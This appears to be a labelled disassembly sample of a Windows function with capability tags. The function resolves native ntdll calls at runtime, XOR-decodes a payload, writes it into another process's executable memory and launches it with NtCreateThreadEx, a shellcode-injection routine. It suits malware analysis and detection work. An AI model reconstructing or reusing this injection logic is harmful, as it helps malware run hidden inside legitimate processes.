Function at 0x140001030
Capabilities:
Encode data using xor
Link many functions at runtime

Disassembly:
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
push r12
push r13
lea rbp, [rsp - 0x2f]
sub rsp, 0xf0
mov r13d, ecx
mov r12, r9
lea rcx, str.ntdll.dll
mov rsi, r8
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x1400012f1
mov qword [rsp + 0x120], rbx
lea rdx, str.NtOpenProcess
mov qword [rsp + 0x130], r14
mov rcx, rax
mov qword [rsp + 0x138], r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtAllocateVirtualMemory
mov rcx, rdi
mov qword [rbp - 0x21], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtWriteVirtualMemory
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtCreateThreadEx
mov rcx, rdi
mov qword [rbp - 0x41], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtWaitForSingleObject
mov rcx, rdi
mov qword [rbp - 0x39], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtFreeVirtualMemory
mov rcx, rdi
mov qword [rbp - 0x31], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtClose
mov rcx, rdi
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r10, qword [rbp - 0x21]
mov r14, rax
test r10, r10
je 0x1400012d0
test rbx, rbx
je 0x1400012d0
cmp qword [rbp - 0x41], 0
je 0x1400012d0
cmp qword [rbp - 0x39], 0
je 0x1400012d0
cmp qword [rbp - 0x31], 0
je 0x1400012d0
test r15, r15
je 0x1400012d0
test rax, rax
je 0x1400012d0
mov qword [rbp - 0x11], r13
lea r9, [rbp - 0x11]
xor r13d, r13d
mov dword [rbp - 1], 0x30
xorps xmm0, xmm0
mov qword [rbp - 9], r13
lea r8, [rbp - 1]
mov qword [rbp + 7], r13
mov edx, 0x1fffff
mov dword [rbp + 0x17], r13d
lea rcx, [rbp - 0x61]
mov qword [rbp + 0xf], r13
movdqu xmmword [rbp + 0x1f], xmm0
call r10
test eax, eax
jne 0x1400012d0
mov rcx, qword [rbp - 0x61]
lea r9, [rbp - 0x49]
mov dword [rsp + 0x28], 0x40
lea rdx, [rbp - 0x59]
xor r8d, r8d
mov dword [rsp + 0x20], 0x1000
mov qword [rbp - 0x59], r13
mov qword [rbp - 0x49], rsi
call rbx
test eax, eax
jne 0x1400011e8
mov rcx, rsi
call fcn.1400049a4
mov rbx, rax
test rax, rax
jne 0x1400011f4
mov rcx, qword [rbp - 0x61]
lea r8, [rbp - 0x49]
mov r9d, 0x8000
lea rdx, [rbp - 0x59]
call r15
mov rcx, qword [rbp - 0x61]
call r14
jmp 0x1400012d0
mov rdx, qword [rbp + 0x67]
mov r8, rsi
mov rcx, rbx
call fcn.14001b3a0
mov rcx, r13
test rsi, rsi
je 0x140001228
mov r8, qword [rbp + 0x7f]
nop
xor edx, edx
mov rax, rcx
div r8
movzx eax, byte [rdx + r12]
xor byte [rbx + rcx], al
inc rcx
cmp rcx, rsi
jb 0x140001210
mov rdx, qword [rbp - 0x59]
lea rax, [rbp - 0x51]
mov rcx, qword [rbp - 0x61]
mov r9d, esi
mov r8, rbx
mov qword [rsp + 0x20], rax
mov dword [rbp - 0x51], r13d
call qword [rbp - 0x41]
test eax, eax
jne 0x1400012ac
mov eax, dword [rbp - 0x51]
cmp rax, rsi
jne 0x1400012ac
mov rax, qword [rbp - 0x59]
lea rcx, [rbp - 0x29]
mov r9, qword [rbp - 0x61]
xor r8d, r8d
mov qword [rsp + 0x50], r13
mov edx, 0x1fffff
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], r13
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], rax
call qword [rbp - 0x39]
test eax, eax
jne 0x1400012ac
mov rcx, qword [rbp - 0x29]
lea r8, [rbp - 0x19]
xor edx, edx
mov qword [rbp - 0x19], 0xfffffffffa0a1f00
call qword [rbp - 0x31]
mov rcx, qword [rbp - 0x29]
call r14
mov rcx, qword [rbp - 0x61]
lea r8, [rbp - 0x49]
mov r9d, 0x8000
lea rdx, [rbp - 0x59]
call r15
mov rcx, qword [rbp - 0x61]
call r14
mov rcx, rbx
call fcn.140004990
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov r14, qword [rsp + 0x130]
mov rbx, qword [rsp + 0x120]
mov r15, qword [rsp + 0x138]
add rsp, 0xf0
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret